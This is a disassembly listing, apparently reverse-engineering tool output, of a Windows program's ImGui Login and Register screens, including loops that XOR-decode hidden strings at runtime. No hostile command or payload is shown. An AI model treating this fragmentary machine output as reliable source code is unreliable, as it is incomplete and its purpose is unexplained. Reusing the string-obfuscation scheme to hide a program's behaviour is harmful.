addss xmm0, dword [0x140122c2c]
movss dword [rbp + 0x568], xmm0
addss xmm10, dword [0x1400e9ce0]
movss dword [rbp + 0x56c], xmm10
mov dword [rsp + 0x28], Ordinal_50
movss xmm7, dword [0x1400e9c5c]
movss dword [rsp + 0x20], xmm7
mov r9d, eax
lea r8, [rbp + 0x560]
lea rdx, [rbp + 0x568]
mov rcx, r10
call fcn.14002c4e0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
mov r10, qword [rax + 0x2a0]
mov qword [rbp + 0x570], 0
movss xmm0, dword [0x140123b08]
movss dword [rbp + 0x668], xmm0
movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x66c], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x670], xmm0
movss xmm1, dword [0x140123b14]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x674], xmm1
addss xmm6, dword [0x140122c2c]
movss dword [rbp + 0x578], xmm6
movss dword [rbp + 0x57c], xmm11
addss xmm9, dword [0x140122c2c]
movss dword [rbp + 0x590], xmm9
movss dword [rbp + 0x594], xmm10
lea rcx, [rbp + 0x668]
call fcn.1400049e0
mov r9d, eax
movss dword [rsp + 0x38], xmm7
mov dword [rsp + Ordinal_50], 0x30
lea rax, [rbp + 0x570]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm7
lea r8, [rbp + 0x578]
lea rdx, [rbp + 0x590]
mov rcx, r10
call fcn.14002e920
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400e9d4c]
addss xmm1, dword [0x1400e9c64]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
call fcn.140017760
cmp dword [0x140122c38], 0
sete r9b
mov dword [rbp + 0x598], 0x42be0000
mov dword [rbp + 0x59c], 0x42200000
lea r8, [rbp + 0x598]
mov rdx, qword [0x1401234e8]
lea rcx, str.Login
call fcn.14003bac0
test al, al
je 0x14005b17c
mov edx, esi
mov dword [0x140122c38], edx
jmp 0x14005b182
mov dword [0x1400fcb14], 0x5a
jmp 0x14005adf1
mov edx, dword [0x140122c38]
movss xmm8, dword [0x1400e9df4]
movaps xmm1, xmm8
xorps xmm10, xmm10
xorps xmm0, xmm0
call fcn.140017460
cmp edx, 1
sete r9b
mov dword [rbp + 0x5a0], 0x42be0000
mov dword [rbp + 0x5a4], 0x42200000
lea r8, [rbp + 0x5a0]
mov rdx, qword [0x140123450]
lea rcx, str.Register
call fcn.14003bac0
test al, al
je 0x14005b1de
mov dword [0x140122c38], 1
call fcn.1400178b0
call fcn.14000c5e0
mov rcx, qword [0x140122bc0]
test rcx, rcx
jne 0x14005b215
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x140122bc0]
movss xmm2, dword [rcx + 0x18]
movss xmm11, dword [0x1400e9c74]
mulss xmm2, xmm11
mov eax, dword [0x140122c38]
cmp eax, dword [0x140122c34]
jne 0x14005b240
movss xmm1, dword [0x1400e9be4]
jmp 0x14005b243
xorps xmm1, xmm1
movss xmm0, dword [0x140122c30]
subss xmm1, xmm0
mulss xmm1, xmm2
addss xmm0, xmm1
movss dword [0x140122c30], xmm0
movss xmm1, dword [0x1400e9b6c]
comiss xmm1, xmm0
jbe 0x14005b27b
comiss xmm1, dword [0x140122c3c]
jbe 0x14005b27b
mov dword [0x140122c34], eax
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm7
addss xmm1, dword [0x1400e9cfc]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x5a8], 0x44354000
mov dword [rbp + 0x5ac], 0x43dc0000
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
lea rdx, str.Main
mov rcx, qword [rcx + 0x3f08]
call fcn.140007fa0
mov edx, eax
mov dword [rsp + 0x20], 0x80
lea r8, [rbp + 0x5a8]
lea rcx, str.Main
call fcn.14000c380
call fcn.140056b50
call fcn.1400571e0
movss xmm6, dword [0x140122c30]
movaps xmm0, xmm6
movss xmm9, dword [0x1400e9d10]
mulss xmm0, xmm9
movaps xmm2, xmm9
subss xmm2, xmm0
mov rbx, qword [0x140122bc0]
mov rax, qword [rbx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm10
addss xmm1, xmm2
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mulss xmm6, dword [r15]
movss xmm0, dword [rbx + 0x37c8]
xor r15d, r15d
mov dword [rbp + 0x8e4], r15d
movss dword [rbp + 0x8e8], xmm0
lea rcx, [rbx + 0x4870]
lea rdx, [rbp + 0x8e4]
call fcn.140020520
movss dword [rbx + 0x37c8], xmm6
mov eax, dword [0x140122c34]
test eax, eax
jne 0x14005bd1e
call fcn.140017760
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm9
addss xmm1, dword [0x1400e9ce8]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x258], 0x43d70000
mov dword [rbp + 0x25c], 0x43700000
mov eax, dword [str.yYPQW:]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400e9824]
mov word [rsp + 0x74], ax
mov byte [rsp + 0x70], Ordinal_79
xor byte [rsp + 0x71], 0x36
xor byte [rsp + 0x72], 0x37
xor byte [rsp + 0x73], 0x38
xor al, 0x39
mov byte [rsp + 0x74], al
xor byte [rsp + 0x75], 0x3a
lea r8, [rbp + 0x258]
lea rdx, [rsp + 0x70]
mov rcx, qword [0x1401234e8]
call fcn.14000ceb0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400e9cbc]
addss xmm1, dword [0x1400e9ce8]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x260], 0x442f0000
mov dword [rbp + 0x264], 0x42200000
movups xmm2, xmmword [str.pXC_K]
movups xmmword [rbp + 0x104], xmm2
mov edx, dword [0x1400e9a58]
mov dword [rbp + 0x114], edx
cmp byte [0x1400e9a5b], r15b
je 0x14005b7c2
mov r8d, r15d
cmp r12d, 2
jl 0x14005b786
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm6, xmmword [0x1400ea030]
movd ecx, xmm6
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x104], xmm1
movdqa xmm9, xmmword [0x1400e9fa0]
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm14
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x108]
xorps xmm2, xmm1
movd dword [rbp + 0x108], xmm2
movdqa xmm8, xmmword [0x1400e9fb0]
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm14
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c]
xorps xmm2, xmm1
movd dword [rbp + 0x10c], xmm2
movdqa xmm2, xmmword [0x1400e9fc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x110]
xorps xmm2, xmm1
movd dword [rbp + 0x110], xmm2
movdqa xmm2, xmmword [0x1400e9fd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x114], xmm2
jmp 0x14005b7dc
lea r9, [rbp + 0x104]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14005b790
movdqa xmm9, xmmword [0x1400e9fa0]
movdqa xmm8, xmmword [0x1400e9fb0]
movdqa xmm6, xmmword [0x1400ea030]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
lea rax, [rbp + 0x260]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
lea rbx, [0x140122d20]
mov r8, rbx
lea rdx, [rbp + 0x104]
lea rcx, [0x1400e8aac]
call fcn.140041500
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400e9cbc]
addss xmm1, dword [0x1400e9d20]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x268], 0x442f0000
mov dword [rbp + 0x26c], 0x42200000
movups xmm2, xmmword [0x1400e9a30]
movups xmmword [rbp + 0xf0], xmm2
mov edx, dword [0x1400e9a40]
mov dword [rbp + 0x100], edx
cmp byte [0x1400e9a43], r15b
je 0x14005bb32
mov r8d, r15d
cmp r12d, 2
jl 0x14005baed
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm6
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm14
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm14
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf8]
xorps xmm2, xmm1
movd dword [rbp + 0xf8], xmm2
movdqa xmm2, xmmword [0x1400e9fc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
movdqa xmm2, xmmword [0x1400e9fd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x100], xmm2
jmp 0x14005bb32
lea r9, [rbp + 0xf0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14005bb00
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x268]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
lea rsi, [0x140122c80]
mov r8, rsi
lea rdx, [rbp + 0xf0]
lea rcx, [0x1400e8ab0]
call fcn.140041500
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400e9cbc]
addss xmm1, dword [0x1400e9d68]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x270], 0x43b18000
mov dword [rbp + 0x274], 0x42200000
mov eax, dword [str.yYPQW:]
mov dword [rsp + 0x76], eax
movzx eax, word [0x1400e9824]
mov word [rsp + 0x7a], ax
mov byte [rsp + 0x76], Ordinal_79
xor byte [rsp + 0x77], 0x36
xor byte [rsp + 0x78], 0x37
xor byte [rsp + 0x79], 0x38
xor al, 0x39
mov byte [rsp + 0x7a], al
xor byte [rsp + 0x7b], 0x3a
lea rdx, [rbp + 0x270]
lea rcx, [rsp + 0x76]
call fcn.14003a1e0
test al, al
je 0x14005bcf0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb48], xmm0
mov qword [rbp + 0xb58], r15
mov qword [rbp + 0xb60], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rsi + r8], r15b
jne 0x14005bc50
mov rdx, rsi
lea rcx, [rbp + 0xb48]
call fcn.1400492f0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb68], xmm0
mov qword [rbp + 0xb78], r15
mov qword [rbp + 0xb80], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], r15b
jne 0x14005bc87
mov rdx, rbx
lea rcx, [rbp + 0xb68]
call fcn.1400492f0
lea r8, [rbp + 0xb48]
lea rdx, [rbp + 0xb68]
lea rcx, [0x140122db0]
call fcn.140071780
cmp byte [0x140122fc8], r15b
jne 0x14005bce9
lea rdx, [0x140122fd0]
cmp qword [0x140122fe8], 0xf
cmova rdx, qword [0x140122fd0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14005bcf0
mov byte [0x140122bba], 1
call fcn.14000cfc0
call fcn.1400178b0
movaps xmm1, xmm7
movaps xmm0, xmm10
call fcn.140017460
call fcn.140017760
call fcn.1400178b0
movss xmm8, dword [0x1400e9df4]
jmp 0x14005cbe0
cmp eax, 1
jne 0x14005cb52
call fcn.140017760
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm9
addss xmm1, dword [0x1400e9ce8]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x278], 0x43d70000
mov dword [rbp + 0x27c], 0x43960000
movsd xmm0, qword [str.gSPQJNN]
movsd qword [rbp - 0x7b], xmm0
movzx eax, byte [0x1400e9890]
mov byte [rbp - 0x7b], 0x52
xor byte [rbp - 0x7a], 0x36
xor byte [rbp - 0x79], 0x37
xor byte [rbp - 0x78], 0x38
xor byte [rbp - 0x77], 0x39
xor byte [rbp - 0x76], 0x3a
xor byte [rbp - 0x75], 0x3b
xor byte [rbp - 0x74], 0x3c
xor al, 0x3d
mov byte [rbp - 0x73], al
lea r8, [rbp + 0x278]
lea rdx, [rbp - 0x7b]
mov rcx, qword [0x1401234b0]
call fcn.14000ceb0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm9, dword [0x1400e9cbc]
addss xmm0, xmm9
addss xmm1, dword [0x1400e9ce8]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x280], 0x442f0000
mov dword [rbp + 0x284], 0x42200000
movups xmm2, xmmword [str.pXC_K]
movups xmmword [rbp + 0xdc], xmm2
mov edx, dword [0x1400e9a58]
mov dword [rbp + 0xec], edx
cmp byte [0x1400e9a5b], r15b
je 0x14005c112
mov r8d, r15d
cmp r12d, 2
jl 0x14005c0d1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm6, xmmword [0x1400ea030]
movd ecx, xmm6
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xdc], xmm1
movdqa xmm8, xmmword [0x1400e9fa0]
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm14
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe0]
xorps xmm2, xmm1
movd dword [rbp + 0xe0], xmm2
movdqa xmm7, xmmword [0x1400e9fb0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm14
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
movdqa xmm2, xmmword [0x1400e9fc0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe8]
xorps xmm2, xmm1
movd dword [rbp + 0xe8], xmm2
movdqa xmm2, xmmword [0x1400e9fd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm14
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
jmp 0x14005c12b
lea r9, [rbp + 0xdc]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14005c0e0
movdqa xmm8, xmmword [0x1400e9fa0]
movdqa xmm7, xmmword [0x1400e9fb0]
movdqa xmm6, xmmword [0x1400ea030]
mov eax, dword [0x1400e9a20]
mov dword [rbp - 0x48], eax
cmp byte [0x1400e9a23], r15b
je 0x14005c1f2
mov r8d, r15d
cmp r12d, 2
jl 0x14005c1b2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm6
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x48], xmm1
jmp 0x14005c1f2
lea r9, [rbp - 0x48]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14005c1c0
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
lea rax, [rbp + 0x280]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
lea r8, [0x140122d20]
lea rdx, [rbp + 0xdc]
lea rcx, [rbp - 0x48]
call fcn.140041500
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm9
addss xmm1, dword [0x1400e9d20]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x288], 0x442f0000
mov dword [rbp + 0x28c], 0x42200000
movups xmm2, xmmword [0x1400e9a30]
movups xmmword [rbp + 0xc8], xmm2
mov edx, dword [0x1400e9a40]
mov dword [rbp + 0xd8], edx
cmp byte [0x1400e9a43], r15b
je 0x14005c532
mov r8d, r15d
cmp r12d, 2
jl 0x14005c4f4
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm6
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm14
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcc]
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm14
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0]
